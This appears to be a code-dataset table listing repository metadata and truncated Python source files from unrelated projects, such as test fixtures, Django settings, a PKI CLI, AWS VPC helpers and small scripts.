hexsha
stringlengths
40
40
size
int64
5
2.06M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
3
248
max_stars_repo_name
stringlengths
5
125
max_stars_repo_head_hexsha
stringlengths
40
78
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
3
248
max_issues_repo_name
stringlengths
5
125
max_issues_repo_head_hexsha
stringlengths
40
78
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
3
248
max_forks_repo_name
stringlengths
5
125
max_forks_repo_head_hexsha
stringlengths
40
78
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
5
2.06M
avg_line_length
float64
1
1.02M
max_line_length
int64
3
1.03M
alphanum_fraction
float64
0
1
count_classes
int64
0
1.6M
score_classes
float64
0
1
count_generators
int64
0
651k
score_generators
float64
0
1
count_decorators
int64
0
990k
score_decorators
float64
0
1
count_async_functions
int64
0
235k
score_async_functions
float64
0
1
count_documentation
int64
0
1.04M
score_documentation
float64
0
1
84e4a5de1b248ed60460b4bced5480be4b151dcc
3,781
py
Python
tests/conftest.py
daitakahashi/tinydb-query
2090bc57eb368bce435a737979c6bb35476807bf
[ "MIT" ]
null
null
null
tests/conftest.py
daitakahashi/tinydb-query
2090bc57eb368bce435a737979c6bb35476807bf
[ "MIT" ]
null
null
null
tests/conftest.py
daitakahashi/tinydb-query
2090bc57eb368bce435a737979c6bb35476807bf
[ "MIT" ]
null
null
null
import contextlib import pytest import tinydb import tinydb_ql as QL @contextlib.contextmanager def _db_instance(*args, **kwargs): with tinydb.TinyDB(*args, **kwargs) as db: db.insert_multiple([ {'name': 'bob', 'age': 12, 'blob': 1, 'status': { 'gam...
33.460177
67
0.446972
0
0
3,364
0.889712
3,692
0.976461
0
0
978
0.258662
84e7e0f70cf554ea76e8cfff8caa7e0e27d45a16
3,534
py
Python
openfl/interface/pki.py
brandon-edwards/openfl
9e0521252253eab09571dc2be40f46bfeaf9746a
[ "Apache-2.0" ]
1
2021-07-14T08:43:55.000Z
2021-07-14T08:43:55.000Z
openfl/interface/pki.py
brandon-edwards/openfl
9e0521252253eab09571dc2be40f46bfeaf9746a
[ "Apache-2.0" ]
null
null
null
openfl/interface/pki.py
brandon-edwards/openfl
9e0521252253eab09571dc2be40f46bfeaf9746a
[ "Apache-2.0" ]
null
null
null
# Copyright (C) 2020-2021 Intel Corporation # SPDX-License-Identifier: Apache-2.0 """PKI CLI.""" import logging import os from pathlib import Path from click import group from click import option from click import pass_context from click import password_option from click import Path as ClickPath from openfl.componen...
32.722222
87
0.699491
0
0
0
0
2,679
0.758065
0
0
968
0.273911
84e83922e6be948bcdc8a6d29d5d312888e54296
746
py
Python
challenges/array/array_duplicate.py
lukasmartinelli/sharpen
6f314fc2aa17990ede04055e7c3ac9394a6c12c0
[ "CC0-1.0" ]
13
2017-04-24T23:27:16.000Z
2020-05-25T22:41:42.000Z
challenges/array/array_duplicate.py
lukasmartinelli/sharpen
6f314fc2aa17990ede04055e7c3ac9394a6c12c0
[ "CC0-1.0" ]
null
null
null
challenges/array/array_duplicate.py
lukasmartinelli/sharpen
6f314fc2aa17990ede04055e7c3ac9394a6c12c0
[ "CC0-1.0" ]
2
2017-05-27T08:55:28.000Z
2018-08-11T08:54:51.000Z
import collections def find_duplicate(arr): """ Find the first duplicate in an array of n + 1 integers between 1 and n. Find a repeating number in linear time using less than O(n) space and traversing the array only once. Given the input A. assert find_duplicate([3, 4, 1, 4, 1]) == 1 ...
22.606061
75
0.656836
0
0
0
0
0
0
0
0
274
0.367292
84e8531b2f78d8767380447a8eab9577039dac81
3,324
py
Python
project/settings/development.py
ellmetha/machina-vanilla
a64317141f274097c269f18053d80f48dae86dff
[ "MIT" ]
1
2020-06-04T08:13:06.000Z
2020-06-04T08:13:06.000Z
project/settings/development.py
ellmetha/machina-demo
a64317141f274097c269f18053d80f48dae86dff
[ "MIT" ]
null
null
null
project/settings/development.py
ellmetha/machina-demo
a64317141f274097c269f18053d80f48dae86dff
[ "MIT" ]
1
2018-09-22T07:05:33.000Z
2018-09-22T07:05:33.000Z
""" Development Django settings for machina-vanilla demo project ============================================================ This files imports the `base` settings and can add or modify previously defined settings to alter the configuration of the application for development purposes. For more in...
31.065421
97
0.556258
0
0
0
0
0
0
0
0
2,356
0.708785
84eb634735ed60c5bacfdd3f05d4b74a3ee4a389
5,998
py
Python
info.py
marcan/deresuteme
2d77d04ba0127af57b1880fc764de2650b317d87
[ "Apache-2.0" ]
84
2016-03-14T17:00:29.000Z
2022-01-26T11:59:46.000Z
info.py
marcan/deresuteme
2d77d04ba0127af57b1880fc764de2650b317d87
[ "Apache-2.0" ]
2
2017-08-20T21:06:56.000Z
2019-07-19T06:21:27.000Z
info.py
marcan/deresuteme
2d77d04ba0127af57b1880fc764de2650b317d87
[ "Apache-2.0" ]
12
2017-03-13T11:59:43.000Z
2021-12-24T17:20:25.000Z
#!/usr/bin/python # -!- coding: utf-8 -!- # # Copyright 2016 Hector Martin <marcan@marcan.st> # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2....
36.351515
94
0.578526
3,580
0.596269
0
0
428
0.071286
0
0
2,333
0.388574
84ec76065cd8fd886f8b8693283d91becf11271b
1,562
py
Python
tests/ansible/lib/action/assert_equal.py
msaladna/mitogen
c6824b68181729cb16c090e72f4d35d6c4d95523
[ "BSD-3-Clause" ]
1,526
2017-09-15T18:49:40.000Z
2021-01-17T16:04:12.000Z
tests/ansible/lib/action/assert_equal.py
msaladna/mitogen
c6824b68181729cb16c090e72f4d35d6c4d95523
[ "BSD-3-Clause" ]
682
2017-09-11T17:43:12.000Z
2021-01-17T05:26:26.000Z
tests/ansible/lib/action/assert_equal.py
msaladna/mitogen
c6824b68181729cb16c090e72f4d35d6c4d95523
[ "BSD-3-Clause" ]
111
2017-09-15T23:21:37.000Z
2021-01-01T14:45:35.000Z
# # Print data structure diff on assertion failure. # # assert_equal: left=some.result right={1:2} # __metaclass__ = type import inspect import unittest2 import ansible.template from ansible.errors import AnsibleError from ansible.plugins.action import ActionBase from ansible.module_utils.six import string_types ...
22
68
0.621639
885
0.566581
0
0
0
0
0
0
245
0.15685
84ec94c6c196a5afef15f2ef72d96dcc3f618ad6
18,572
py
Python
dataDisplay.py
andreasbayer/AEGUIFit
6a1e31091b74d648d007c75c9fef6efae4086860
[ "BSD-3-Clause" ]
null
null
null
dataDisplay.py
andreasbayer/AEGUIFit
6a1e31091b74d648d007c75c9fef6efae4086860
[ "BSD-3-Clause" ]
null
null
null
dataDisplay.py
andreasbayer/AEGUIFit
6a1e31091b74d648d007c75c9fef6efae4086860
[ "BSD-3-Clause" ]
null
null
null
import matplotlib matplotlib.use('Qt5Agg') import matplotlib.pyplot as plt from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas from PyQt5.QtCore import pyqtSignal, Qt import fitDataInfo as fdi import AEFitDataInfo as adi import polyFitDataInfo as pdi import numpy as np import traceback c...
33.463063
120
0.54846
18,252
0.98277
0
0
0
0
0
0
2,398
0.129119
84ed9cd7c89c3cf96e8fc4e58db01358212f8b36
1,723
py
Python
simple_lab/network.py
adam-phelps/simple_lab
4a8acccfd6bf713742fe2ac0bd988f811218eb3b
[ "MIT" ]
null
null
null
simple_lab/network.py
adam-phelps/simple_lab
4a8acccfd6bf713742fe2ac0bd988f811218eb3b
[ "MIT" ]
null
null
null
simple_lab/network.py
adam-phelps/simple_lab
4a8acccfd6bf713742fe2ac0bd988f811218eb3b
[ "MIT" ]
null
null
null
def create_vpc(ec2_r, cidr_block, lab_tag): """ Create VPC using EC2 resource. """ vpc = ec2_r.create_vpc(CidrBlock=cidr_block) vpc.wait_until_available() vpc.create_tags(Tags=[{ "Key": "Name", "Value": lab_tag }]) return vpc def create_internet_gateway(ec2_r, vpc): """ Cre...
28.716667
68
0.625073
0
0
0
0
0
0
0
0
382
0.221706
84f0abc2d883dc04a98da886bfd216c8f988f4d9
13,280
py
Python
caproto/_state.py
mrakitin/caproto
ad49ffbe1a69ddc63cac9ec7f1a3468a4965e465
[ "BSD-3-Clause" ]
12
2019-05-25T14:26:25.000Z
2022-01-24T09:10:18.000Z
caproto/_state.py
mrakitin/caproto
ad49ffbe1a69ddc63cac9ec7f1a3468a4965e465
[ "BSD-3-Clause" ]
333
2017-06-22T03:10:15.000Z
2019-05-07T16:37:20.000Z
caproto/_state.py
mrakitin/caproto
ad49ffbe1a69ddc63cac9ec7f1a3468a4965e465
[ "BSD-3-Clause" ]
17
2019-07-03T18:17:22.000Z
2022-03-22T00:24:20.000Z
# This module encodes the rules of the Channel Access protocol as nested # dictionaries. (See the state machine diagram in the documentation, # programmatically generated from these dictionaries.) # There are two state machines, tracking circuit state and channel state. They # are coupled: each time circuit state upda...
36.383562
79
0.62613
2,456
0.18494
0
0
0
0
0
0
2,861
0.215437
84f11b9075e7dca292405b9b7362e0bde6337c4a
102
py
Python
app/assessment/__init__.py
kurapikaaaa/CITS3403Project
8958219845d5251830f2abd7c58dfd87d97b8c4a
[ "MIT" ]
1
2021-08-04T12:50:57.000Z
2021-08-04T12:50:57.000Z
app/assessment/__init__.py
kurapikaaaa/CITS3403Project
8958219845d5251830f2abd7c58dfd87d97b8c4a
[ "MIT" ]
null
null
null
app/assessment/__init__.py
kurapikaaaa/CITS3403Project
8958219845d5251830f2abd7c58dfd87d97b8c4a
[ "MIT" ]
1
2021-08-12T10:40:28.000Z
2021-08-12T10:40:28.000Z
from flask import Blueprint bp = Blueprint('assessment', __name__) from app.assessment import routes
20.4
38
0.803922
0
0
0
0
0
0
0
0
12
0.117647
84f16eceef3846efad926ffc7294baff132ede53
7,829
py
Python
src/foreign_if/python/main/python/frovedis/exrpc/server.py
XpressAI/frovedis
bda0f2c688fb832671c5b542dd8df1c9657642ff
[ "BSD-2-Clause" ]
63
2018-06-21T14:11:59.000Z
2022-03-30T11:24:36.000Z
src/foreign_if/python/main/python/frovedis/exrpc/server.py
XpressAI/frovedis
bda0f2c688fb832671c5b542dd8df1c9657642ff
[ "BSD-2-Clause" ]
5
2018-09-22T14:01:53.000Z
2021-12-27T16:11:05.000Z
src/foreign_if/python/main/python/frovedis/exrpc/server.py
XpressAI/frovedis
bda0f2c688fb832671c5b542dd8df1c9657642ff
[ "BSD-2-Clause" ]
12
2018-08-23T15:59:44.000Z
2022-02-20T06:47:22.000Z
""" server.py """ import warnings from . import node, rpclib class ServerID(object): """A python container for generating IDs for frovedis server""" __initial = 0 __id = __initial # A threshold value, assuming it is safe to re-iterate # server ID after reaching this value __max_id = (1 << 31) ...
35.107623
97
0.609912
4,812
0.614638
0
0
3,258
0.416145
0
0
2,577
0.329161
84f241e899fdd0756dc158f8d65dba55d53f1060
2,015
py
Python
tests/conftest.py
Preocts/secretbox
81638bc4ca5defe1f594a249d9806a622bc686fe
[ "MIT" ]
3
2021-10-16T11:49:40.000Z
2021-11-28T01:35:25.000Z
tests/conftest.py
Preocts/secretbox
81638bc4ca5defe1f594a249d9806a622bc686fe
[ "MIT" ]
50
2021-07-31T03:23:27.000Z
2022-03-28T18:55:48.000Z
tests/conftest.py
Preocts/secretbox
81638bc4ca5defe1f594a249d9806a622bc686fe
[ "MIT" ]
1
2021-12-09T21:15:19.000Z
2021-12-09T21:15:19.000Z
"""Global fixtures""" import os import tempfile from typing import Generator from unittest.mock import patch import pytest AWS_ENV_KEYS = [ "AWS_ACCESS_KEY", "AWS_SECRET_ACCESS_KEY", "AWS_SECURITY_TOKEN", "AWS_SESSION_TOKEN", ] ENV_FILE_CONTENTS = [ "SECRETBOX_TEST_PROJECT_ENVIRONMENT=sandbox", ...
27.60274
71
0.642184
0
0
802
0.398015
850
0.421836
0
0
981
0.486849
84f47bb45348683e51a33cad06f7af340e359008
2,806
py
Python
ooobuild/lo/util/date.py
Amourspirit/ooo_uno_tmpl
64e0c86fd68f24794acc22d63d8d32ae05dd12b8
[ "Apache-2.0" ]
null
null
null
ooobuild/lo/util/date.py
Amourspirit/ooo_uno_tmpl
64e0c86fd68f24794acc22d63d8d32ae05dd12b8
[ "Apache-2.0" ]
null
null
null
ooobuild/lo/util/date.py
Amourspirit/ooo_uno_tmpl
64e0c86fd68f24794acc22d63d8d32ae05dd12b8
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 # # Copyright 2022 :Barry-Thomas-Paul: Moss # # Licensed under the Apache License, Version 2.0 (the "License") # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http: // www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicab...
25.981481
127
0.59052
1,992
0.709907
0
0
649
0.23129
0
0
1,491
0.531361
84f49df4b54fc586d59781fc882e6884c4c5d19d
1,365
py
Python
importer/base.py
czfshine/MarkAll
0b3d0ccf5cf0da9957273024bc942cae7441a026
[ "MIT" ]
2
2016-09-16T02:24:30.000Z
2018-03-07T04:48:27.000Z
importer/base.py
czfshine/MarkAll
0b3d0ccf5cf0da9957273024bc942cae7441a026
[ "MIT" ]
null
null
null
importer/base.py
czfshine/MarkAll
0b3d0ccf5cf0da9957273024bc942cae7441a026
[ "MIT" ]
null
null
null
# -*- coding: utf-8 -*- from treelib import * import urlparse class bkdata(object): ''' the bookmark data ''' def __init__(self,data): for k in data : setattr(self,k,data[k])#then it can getattr :( def to_dict(self): return self.__dict__ class importer(object): '''im...
25.754717
63
0.522344
1,298
0.950916
328
0.240293
0
0
0
0
261
0.191209
84f4f275de4aaf183a73aca520dcd247fdc93c0a
454
py
Python
Mundo1/aula9b.py
OliveiraVasconcelos/Python-CursoemVideo
bcca20d24b6af7bde9ce290b011cfa5abc0c1cc3
[ "MIT" ]
null
null
null
Mundo1/aula9b.py
OliveiraVasconcelos/Python-CursoemVideo
bcca20d24b6af7bde9ce290b011cfa5abc0c1cc3
[ "MIT" ]
null
null
null
Mundo1/aula9b.py
OliveiraVasconcelos/Python-CursoemVideo
bcca20d24b6af7bde9ce290b011cfa5abc0c1cc3
[ "MIT" ]
null
null
null
#variaveis numero = int((input('Digite um número de 0 à 9999: '))) digito = str(numero) digito = len(digito) u = numero // 1 % 10 d = numero // 10 % 10 c = numero // 100 % 10 m = numero // 1000 % 10 #calculo do programa print(f'Digitos: {digito}') print('Unidade: {}'.format(u)) print('Dezena: {}'.format(d)) print('Cen...
23.894737
55
0.603524
0
0
0
0
0
0
0
0
214
0.469298
84f7f0583f87ce8d8fa213091c414701dd8af42c
9,694
py
Python
conda_lock/conda_lock.py
noahp/conda-lock
cd519f62aead1c4eb40a7ac4ba002fca25ef6e3a
[ "MIT" ]
null
null
null
conda_lock/conda_lock.py
noahp/conda-lock
cd519f62aead1c4eb40a7ac4ba002fca25ef6e3a
[ "MIT" ]
null
null
null
conda_lock/conda_lock.py
noahp/conda-lock
cd519f62aead1c4eb40a7ac4ba002fca25ef6e3a
[ "MIT" ]
null
null
null
""" Somewhat hacky solution to create conda lock files. """ import atexit import json import logging import os import pathlib import platform import shutil import stat import subprocess import sys import tempfile from typing import Dict, List, MutableSequence, Optional, Set, Tuple, Union import requests import yaml ...
30.484277
87
0.598205
0
0
1,081
0.111512
0
0
0
0
2,653
0.273674
84f83345d1f3fb087e99dcd107ecadefc33a7378
2,447
py
Python
nvtabular/ops/minmax.py
EvenOldridge/NVTabular
85333ae754c0512f7b213a4e98117a1501500dda
[ "Apache-2.0" ]
null
null
null
nvtabular/ops/minmax.py
EvenOldridge/NVTabular
85333ae754c0512f7b213a4e98117a1501500dda
[ "Apache-2.0" ]
null
null
null
nvtabular/ops/minmax.py
EvenOldridge/NVTabular
85333ae754c0512f7b213a4e98117a1501500dda
[ "Apache-2.0" ]
null
null
null
# # Copyright (c) 2020, NVIDIA CORPORATION. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed ...
33.520548
93
0.644871
1,775
0.725378
0
0
580
0.237025
0
0
1,038
0.424193
84f88b05010a0d7cf4cbf357ee3a42b3fba0850b
4,915
py
Python
cli_command_execution.py
IBM-Cloud/Ray-Commands
9078af9fb367d451ee86f1200507f96b6f01d539
[ "Apache-2.0" ]
2
2022-02-19T14:22:47.000Z
2022-02-22T17:19:33.000Z
cli_command_execution.py
IBM-Cloud/Ray-Commands
9078af9fb367d451ee86f1200507f96b6f01d539
[ "Apache-2.0" ]
null
null
null
cli_command_execution.py
IBM-Cloud/Ray-Commands
9078af9fb367d451ee86f1200507f96b6f01d539
[ "Apache-2.0" ]
null
null
null
import os import subprocess import ray import time import sys import humanfriendly import pandas as pd url_file = open('final_commands.txt','r') lines = url_file.readlines() from subprocess import PIPE, Popen @ray.remote(num_cpus=0.2) def do_it(filen, input_endpoint, output_endpoint, input_access_key, input_secret_...
49.15
247
0.6706
0
0
0
0
1,270
0.258393
0
0
1,390
0.282808
84f939c67c0b1fb6b0b4b98b5ce191bb5f2e9777
3,673
py
Python
src/satproc/console/generalize.py
dymaxionlabs/satproc
002c945eb378619659e85dddb73477b253899630
[ "Apache-2.0" ]
22
2021-05-19T13:45:55.000Z
2022-02-17T22:40:28.000Z
src/satproc/console/generalize.py
dymaxionlabs/satproc
002c945eb378619659e85dddb73477b253899630
[ "Apache-2.0" ]
35
2021-06-28T17:36:21.000Z
2022-03-08T19:54:35.000Z
src/satproc/console/generalize.py
dymaxionlabs/satproc
002c945eb378619659e85dddb73477b253899630
[ "Apache-2.0" ]
6
2021-05-20T22:49:37.000Z
2022-03-31T14:30:32.000Z
# -*- coding: utf-8 -*- import argparse import logging import os import sys from glob import glob from satproc import __version__ from satproc.postprocess.generalize import generalize __author__ = "Damián Silvani" __copyright__ = "Dymaxion Labs" _logger = logging.getLogger(__name__) def parse_args(args): """Pa...
24.817568
87
0.613395
0
0
0
0
0
0
0
0
1,313
0.357376
84f95fb1a9783e21e2199ef7dbdb747eb20c4617
4,932
py
Python
piri/mapper.py
ryanzhoucoupa/piri
de8ed240492d836305c94decbede3933ea982db0
[ "MIT" ]
23
2020-08-25T13:24:22.000Z
2022-03-09T14:15:23.000Z
piri/mapper.py
ryanzhoucoupa/piri
de8ed240492d836305c94decbede3933ea982db0
[ "MIT" ]
85
2020-08-25T12:04:16.000Z
2021-10-04T08:08:14.000Z
piri/mapper.py
ryanzhoucoupa/piri
de8ed240492d836305c94decbede3933ea982db0
[ "MIT" ]
16
2020-10-06T10:26:37.000Z
2021-11-18T00:07:39.000Z
import decimal from typing import Any, Dict, List, Optional, Union from returns.curry import partial from returns.maybe import maybe from returns.pipeline import is_successful from returns.result import safe from piri.collection_handlers import iterable_data_handler from piri.constants import ( ARRAY, ATTRIBU...
25.035533
79
0.672749
0
0
0
0
4,216
0.854826
0
0
1,684
0.341444
84fa6491306c7f4088496f353dbf7cbc5ef44491
2,955
py
Python
digby/motors.py
gilbertmike/digby
cb0f762fb703cf0e8b0f0ac7387e8b89f67eaf8e
[ "MIT" ]
null
null
null
digby/motors.py
gilbertmike/digby
cb0f762fb703cf0e8b0f0ac7387e8b89f67eaf8e
[ "MIT" ]
null
null
null
digby/motors.py
gilbertmike/digby
cb0f762fb703cf0e8b0f0ac7387e8b89f67eaf8e
[ "MIT" ]
null
null
null
from gpiozero import OutputDevice, PWMOutputDevice class MotorController: def __init__(self, front_left_pwm, front_left_dir, front_right_pwm, front_right_dir, back_left_pwm, back_left_dir, back_right_pwm, back_right_dir, max_speed=0.5, reverse_fl=False, reverse_b...
35.60241
79
0.535702
2,901
0.981726
0
0
0
0
0
0
399
0.135025
84fb8930b6c5b3170e2aacdf327ea9bfa1e892aa
828
py
Python
jcasts/episodes/emails.py
danjac/jcasts
04f5ef1f536d51962c0433d092817c0153acb6af
[ "MIT" ]
13
2021-09-17T07:41:00.000Z
2022-02-10T10:00:48.000Z
jcasts/episodes/emails.py
danjac/jcasts
04f5ef1f536d51962c0433d092817c0153acb6af
[ "MIT" ]
167
2021-07-17T09:41:38.000Z
2021-08-31T06:03:34.000Z
jcasts/episodes/emails.py
danjac/jcasts
04f5ef1f536d51962c0433d092817c0153acb6af
[ "MIT" ]
null
null
null
from __future__ import annotations from datetime import timedelta from django_rq import job from jcasts.episodes.models import Episode from jcasts.shared.typedefs import User from jcasts.users.emails import send_user_notification_email @job("mail") def send_new_episodes_email(user: User, since: timedelta) -> None:...
25.875
88
0.683575
0
0
0
0
586
0.707729
0
0
231
0.278986
84fcf8179ffbbe188cded099879ea1fb89a61d64
1,439
py
Python
src/pricehist/outputs/ledger.py
chrisberkhout/pricehist
a54da85a6fae15e2f771e8612aed089407ec5c22
[ "MIT" ]
4
2021-09-15T03:23:10.000Z
2022-02-08T23:31:10.000Z
src/pricehist/outputs/ledger.py
chrisberkhout/pricehist
a54da85a6fae15e2f771e8612aed089407ec5c22
[ "MIT" ]
null
null
null
src/pricehist/outputs/ledger.py
chrisberkhout/pricehist
a54da85a6fae15e2f771e8612aed089407ec5c22
[ "MIT" ]
null
null
null
""" Ledger output Supports both `Ledger <https://www.ledger-cli.org/>`_ and `hledger <https://hledger.org/>`_ plain text accounting formats. By default the output should be valid for Ledger, but can be customized for hledger or other variants via formatting options. Invalid variants are possible, so the user should b...
31.282609
88
0.707436
491
0.341209
0
0
0
0
0
0
932
0.647672
84fcfab32088c0c654dbeb7d0fe1fb3a7f8528f9
450
py
Python
services/bill_service.py
Priyeshpandey/splitwise
db1af921a1ebf3f4034a6672cd3a2515aaeeecd5
[ "MIT" ]
null
null
null
services/bill_service.py
Priyeshpandey/splitwise
db1af921a1ebf3f4034a6672cd3a2515aaeeecd5
[ "MIT" ]
null
null
null
services/bill_service.py
Priyeshpandey/splitwise
db1af921a1ebf3f4034a6672cd3a2515aaeeecd5
[ "MIT" ]
null
null
null
from services.bill_service_interface import BillServiceInterface from models.bill import Bill class BillService(BillServiceInterface): billDetails = {} def addBill(self, id, groupId, amount, contri, paid): bill = Bill() bill.setId(id) bill.setGroupId(groupId) bill.setAmount(amou...
28.125
64
0.673333
354
0.786667
0
0
0
0
0
0
0
0
84fd01e9dbec8c9bea817cd81494437461c66ffc
13,843
py
Python
templates/s3_redundant/s3_redundant.py
threefoldtech/0-templates
4106bb3d4d1de305557bf4748a7d77ffeb302abb
[ "Apache-2.0" ]
1
2019-01-20T17:50:53.000Z
2019-01-20T17:50:53.000Z
templates/s3_redundant/s3_redundant.py
threefoldtech/0-templates
4106bb3d4d1de305557bf4748a7d77ffeb302abb
[ "Apache-2.0" ]
192
2018-08-01T13:31:16.000Z
2020-05-29T09:41:06.000Z
templates/s3_redundant/s3_redundant.py
threefoldtech/0-templates
4106bb3d4d1de305557bf4748a7d77ffeb302abb
[ "Apache-2.0" ]
1
2018-08-09T12:30:52.000Z
2018-08-09T12:30:52.000Z
from jumpscale import j from zerorobot.service_collection import ServiceNotFoundError from zerorobot.template.base import TemplateBase from zerorobot.template.decorator import timeout from zerorobot.template.state import (SERVICE_STATE_ERROR, SERVICE_STATE_OK, SERVICE_STATE_SKIPPED...
40.241279
115
0.617568
13,189
0.952756
0
0
0
0
0
0
3,268
0.236076
84fdd9af6928df02db0ff0754cd7c640c4ac0ead
2,030
py
Python
netbuilder/__init__.py
zinph/NetBuilder
273f845db4cb821b4cf0a4c03770a0b909fbb560
[ "MIT" ]
1
2021-02-03T11:23:55.000Z
2021-02-03T11:23:55.000Z
netbuilder/__init__.py
zinph/NetBuilder
273f845db4cb821b4cf0a4c03770a0b909fbb560
[ "MIT" ]
null
null
null
netbuilder/__init__.py
zinph/NetBuilder
273f845db4cb821b4cf0a4c03770a0b909fbb560
[ "MIT" ]
null
null
null
"""Create fully connected neural networks. Examples ------- To use the package, it has to be imported first like: >>> import netbuilder or >>> import netbuilder as nb With the following lines, you can create a neural network for a binary gate: >>> net = nb.Network() >>> net.init(topo...
29.42029
81
0.691626
0
0
0
0
0
0
0
0
1,662
0.818719
1700ec1ccbfd51e5db12aff09d0aa481235902bf
3,716
py
Python
userprofile/views.py
carlinhus/steam-api
69b8a0fc1d09bfc17fcaafeb5ca4ce00929c9738
[ "MIT" ]
null
null
null
userprofile/views.py
carlinhus/steam-api
69b8a0fc1d09bfc17fcaafeb5ca4ce00929c9738
[ "MIT" ]
null
null
null
userprofile/views.py
carlinhus/steam-api
69b8a0fc1d09bfc17fcaafeb5ca4ce00929c9738
[ "MIT" ]
null
null
null
from django.shortcuts import render, render_to_response from django.template import RequestContext import urllib2 from django.http import HttpResponse, JsonResponse, HttpResponseRedirect import json from django.contrib.auth.decorators import login_required from userprofile.forms import NewUserForm from userprofile.mode...
35.390476
166
0.684876
0
0
0
0
874
0.235199
0
0
1,981
0.5331
1701456722d2f336d3cdea0f8c3d767de89aa227
1,943
py
Python
setup.py
pyecore/pyecoregen
01988422afb7e534eff66d6ba3472a97e087ad4a
[ "BSD-3-Clause" ]
18
2017-05-20T08:08:33.000Z
2022-03-09T17:22:34.000Z
setup.py
pyecore/pyecoregen
01988422afb7e534eff66d6ba3472a97e087ad4a
[ "BSD-3-Clause" ]
30
2017-05-27T11:07:11.000Z
2022-03-23T22:38:20.000Z
setup.py
pyecore/pyecoregen
01988422afb7e534eff66d6ba3472a97e087ad4a
[ "BSD-3-Clause" ]
5
2017-09-17T12:33:53.000Z
2019-09-26T12:21:46.000Z
#!/usr/bin/env python import sys from setuptools import setup, find_packages from setuptools.command.test import test as TestCommand if sys.version_info < (3, 5): sys.exit('Sorry, Python < 3.5 is not supported') class PyTest(TestCommand): user_options = [('pytest-args=', 'a', "Arguments to pass to py.test")...
31.852459
95
0.646423
546
0.281009
0
0
0
0
0
0
790
0.406588
17036a282cb2f46b504f52189d2bf26ddabdebf9
2,230
py
Python
tests/conftest.py
emaballarin/stockroom
e2e098c4731a4ad0d4952a99c972cb4816bb1abe
[ "Apache-2.0" ]
67
2019-12-02T17:18:07.000Z
2022-03-03T08:32:19.000Z
tests/conftest.py
emaballarin/stockroom
e2e098c4731a4ad0d4952a99c972cb4816bb1abe
[ "Apache-2.0" ]
27
2019-12-11T07:53:41.000Z
2021-03-30T00:58:32.000Z
tests/conftest.py
emaballarin/stockroom
e2e098c4731a4ad0d4952a99c972cb4816bb1abe
[ "Apache-2.0" ]
8
2019-12-02T15:22:49.000Z
2022-03-03T08:32:20.000Z
import inspect import shutil from pathlib import Path import hangar import numpy as np import pytest import torchvision_mocks as torchvision from stockroom import StockRoom, keeper from torchvision import datasets @pytest.fixture() def managed_tmpdir(monkeypatch, tmp_path): monkeypatch.setitem(hangar.constants.L...
28.227848
78
0.727354
0
0
1,587
0.711659
1,840
0.825112
0
0
191
0.08565
17042212e5fa71f184651ff1dc382b9b9ed9f1a9
1,278
py
Python
research/cv/MaskedFaceRecognition/config.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
77
2021-10-15T08:32:37.000Z
2022-03-30T13:09:11.000Z
research/cv/MaskedFaceRecognition/config.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
3
2021-10-30T14:44:57.000Z
2022-02-14T06:57:57.000Z
research/cv/MaskedFaceRecognition/config.py
leelige/mindspore
5199e05ba3888963473f2b07da3f7bca5b9ef6dc
[ "Apache-2.0" ]
24
2021-10-15T08:32:45.000Z
2022-03-24T18:45:20.000Z
# Copyright 2021 Huawei Technologies Co., Ltd # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to...
31.170732
78
0.643975
0
0
0
0
0
0
0
0
992
0.776213
17053b0c1f9eaf2fd0b24a87a69a088f2ca7cbcd
200
py
Python
agronet_be/AgronetApp/models/departament.py
lauraC4MP0/Prueba-github
291fc266fc0a8efc80ab36dd6eb4bff3e98e7c1f
[ "MIT" ]
1
2021-10-06T00:39:08.000Z
2021-10-06T00:39:08.000Z
agronet_be/AgronetApp/models/departament.py
lauraC4MP0/Prueba-github
291fc266fc0a8efc80ab36dd6eb4bff3e98e7c1f
[ "MIT" ]
null
null
null
agronet_be/AgronetApp/models/departament.py
lauraC4MP0/Prueba-github
291fc266fc0a8efc80ab36dd6eb4bff3e98e7c1f
[ "MIT" ]
1
2021-10-03T13:39:31.000Z
2021-10-03T13:39:31.000Z
from django.db import models class Departament(models.Model): id_departament = models.IntegerField(primary_key=True) name_departament = models.CharField('Departamento', max_length = 15)
33.333333
73
0.765
166
0.83
0
0
0
0
0
0
14
0.07
17061bab51406bbd5e3c868633cb54d4c996d97c
321
py
Python
backend/source/similaridade.py
AlissonSantos17/Sistema-de-Recomendacao
d276d14bea65bcf721a39f774fd9038ec775a063
[ "Apache-2.0" ]
null
null
null
backend/source/similaridade.py
AlissonSantos17/Sistema-de-Recomendacao
d276d14bea65bcf721a39f774fd9038ec775a063
[ "Apache-2.0" ]
null
null
null
backend/source/similaridade.py
AlissonSantos17/Sistema-de-Recomendacao
d276d14bea65bcf721a39f774fd9038ec775a063
[ "Apache-2.0" ]
null
null
null
